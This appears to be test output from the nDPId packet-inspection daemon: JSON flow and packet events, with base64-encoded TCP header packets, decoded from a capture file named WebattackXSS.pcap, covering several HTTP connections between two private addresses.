+00434{"flow_id":231,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3327,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":717273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0izRAAD4GOqSsEAABwKgKMtw2AFCL9eO\/\/O4Dz4AQAOUAKgAAAQEICgE6bZoD5D8Q"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3337,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1499347369077,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":77761,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NkNAAD4Gj42sEAABwKgKMtyGAFA0BFmqAAAAAKACchCDWwAAAgQFtAQCCAoBOm\/pAAAAAAEDAwc="} +00444{"flow_id":235,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3338,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":77859,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Ib842EVNARZq6AScSDg\/gAAAgQFtAQCCAoD5EFeATpv6QEDAwc="} +00432{"flow_id":235,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3339,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":78634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NkRAAD4Gj5SsEAABwKgKMtyGAFA0BFmr\/ONhFoAQAOWABgAAAQEICgE6b+kD5EFe"} +00432{"flow_id":232,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":717228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+jtAAD4Gy5ysEAABwKgKMtxQAFCMb5E5XIUaRYARAOXbuAAAAQEICgE6cIkD5Dx3"} +00432{"flow_id":232,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":717446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0W7tAAEAGaB3AqAoyrBAAAQBQ3FBchRpFjG+ROoARAOPWMgAAAQEICgPkQf4BOnCJ"} +00432{"flow_id":232,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3345,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347369,"pkt_ts_usec":718009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+jxAAD4Gy5usEAABwKgKMtxQAFCMb5E6XIUaRoAQAOXWMAAAAQEICgE6cIkD5EH+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3349,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1499347370339,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56468,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":339639,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8iG5AAD4GPWKsEAABwKgKMtyUAFBZvPlKAAAAAKACchC8uQAAAgQFtAQCCAoBOnEkAAAAAAEDAwc="} +00444{"flow_id":236,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":339743,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3JQ4r3KfWbz5S6AScSDLywAAAgQFtAQCCAoD5EKaATpxJAEDAwc="} +00432{"flow_id":236,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3352,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":340532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iG9AAD4GPWmsEAABwKgKMtyUAFBZvPlLOK9yoIAQAOVq0wAAAQEICgE6cSQD5EKa"} +00433{"flow_id":233,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":717421,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CZNAAD4GvEWsEAABwKgKMtxeAFCYJmWtp+EIn4ARAOW\/kwAAAQEICgE6cYMD5D2z"} +00432{"flow_id":233,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3356,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":717660,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SmdAAEAGeXHAqAoyrBAAAQBQ3F6n4QifmCZlroARAOO6TwAAAQEICgPkQvgBOnGD"} +00432{"flow_id":233,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3357,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347370,"pkt_ts_usec":718346,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CZRAAD4GvESsEAABwKgKMtxeAFCYJmWup+EIoIAQAOW6TQAAAQEICgE6cYMD5EL4"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3361,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1499347371602,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56482,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3361,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":602634,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jiZAAD4GN6qsEAABwKgKMtyiAFAEW\/xGAAAAAKACchAN1QAAAgQFtAQCCAoBOnJgAAAAAAEDAwc="} +00444{"flow_id":237,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3362,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":602758,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3KLBqaHpBFv8R6AScSBjZgAAAgQFtAQCCAoD5EPWATpyYAEDAwc="} +00433{"flow_id":237,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3363,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":603516,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jidAAD4GN7GsEAABwKgKMtyiAFAEW\/xHwamh6oAQAOUCbgAAAQEICgE6cmAD5EPW"} +00432{"flow_id":234,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":717356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vo5AAD4GB0qsEAABwKgKMtxsAFDi5tP3xb6nA4ARAOVIAgAAAQEICgE6cn0D5D7w"} +00433{"flow_id":234,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3368,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":717547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05PFAAEAG3ubAqAoyrBAAAQBQ3GzFvqcD4ubT+IARAONDAQAAAQEICgPkQ\/IBOnJ9"} +00433{"flow_id":234,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347371,"pkt_ts_usec":718130,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vo9AAD4GB0msEAABwKgKMtxsAFDi5tP4xb6nBIAQAOVC\/wAAAQEICgE6cn0D5EPy"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3379,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":238,"flow_packet_id":1,"flow_first_seen":1499347374136,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":238,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3379,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":136369,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DktAAD4Gt4WsEAABwKgKMty8AFAnfHqSAAAAAKACchBp1QAAAgQFtAQCCAoBOnTZAAAAAAEDAwc="} +00445{"flow_id":238,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3380,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":136472,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3LxHeFJ\/J3x6k6AScSCGiQAAAgQFtAQCCAoD5EZPATp02QEDAwc="} +00432{"flow_id":238,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":137270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DkxAAD4Gt4ysEAABwKgKMty8AFAnfHqTR3hSgIAQAOUlkAAAAQEICgE6dNoD5EZP"} +00433{"flow_id":235,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3385,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":718056,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NkVAAD4Gj5OsEAABwKgKMtyGAFA0BFmr\/ONhFoARAOV6gwAAAQEICgE6dWsD5EFe"} +00433{"flow_id":235,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3386,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":718268,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0J\/dAAEAGm+HAqAoyrBAAAQBQ3Ib842EWNARZrIARAON1AQAAAQEICgPkRuEBOnVr"} +00434{"flow_id":235,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347374,"pkt_ts_usec":718827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NkZAAD4Gj5KsEAABwKgKMtyGAFA0BFms\/ONhF4AQAOV0\/wAAAQEICgE6dWsD5Ebh"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":6,"flow_first_seen":1499347300263,"flow_last_seen":1499347305701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55726,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":6,"flow_first_seen":1499347300263,"flow_last_seen":1499347305701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55726,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":6,"flow_first_seen":1499347301520,"flow_last_seen":1499347306702,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55740,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":6,"flow_first_seen":1499347301520,"flow_last_seen":1499347306702,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55740,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":6,"flow_first_seen":1499347304125,"flow_last_seen":1499347309703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55766,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":6,"flow_first_seen":1499347304125,"flow_last_seen":1499347309703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55766,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":6,"flow_first_seen":1499347305402,"flow_last_seen":1499347310703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55780,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":6,"flow_first_seen":1499347305402,"flow_last_seen":1499347310703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55780,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":6,"flow_first_seen":1499347306680,"flow_last_seen":1499347311703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55794,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":6,"flow_first_seen":1499347306680,"flow_last_seen":1499347311703,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55794,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":6,"flow_first_seen":1499347309314,"flow_last_seen":1499347314704,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55820,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3388,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":6,"flow_first_seen":1499347309314,"flow_last_seen":1499347314704,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55820,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3391,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_first_seen":1499347375388,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56522,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":239,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3391,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":388370,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VfhAAD4Gb9isEAABwKgKMtzKAFDNpCPqAAAAAKACchAZDgAAAgQFtAQCCAoBOnYSAAAAAAEDAwc="} +00444{"flow_id":239,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3392,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":388496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3MqX5dxFzaQj66AScSBaVQAAAgQFtAQCCAoD5EeIATp2EgEDAwc="} +00432{"flow_id":239,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3393,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":389065,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VflAAD4Gb9+sEAABwKgKMtzKAFDNpCPrl+XcRoAQAOX5WwAAAQEICgE6dhMD5EeI"} +00432{"flow_id":236,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3398,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":718651,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iHBAAD4GPWisEAABwKgKMtyUAFBZvPlLOK9yoIARAOVlkQAAAQEICgE6dmUD5EKa"} +00432{"flow_id":236,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3399,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":718842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NXtAAEAGjl3AqAoyrBAAAQBQ3JQ4r3KgWbz5TIARAONgUQAAAQEICgPkR9sBOnZl"} +00432{"flow_id":236,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3400,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347375,"pkt_ts_usec":719424,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iHFAAD4GPWesEAABwKgKMtyUAFBZvPlMOK9yoYAQAOVgTwAAAQEICgE6dmUD5Efb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3404,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_first_seen":1499347376638,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":240,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3404,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":638976,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8EqdAAD4GsymsEAABwKgKMtzYAFCvXmXsAAAAAKACchD0CgAAAgQFtAQCCAoBOndLAAAAAAEDAwc="} +00444{"flow_id":240,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3405,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347376,"pkt_ts_usec":639133,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3NhWyE7Mr15l7aAScSACsAAAAgQFtAQCCAoD5EjBATp3SwEDAwc="} 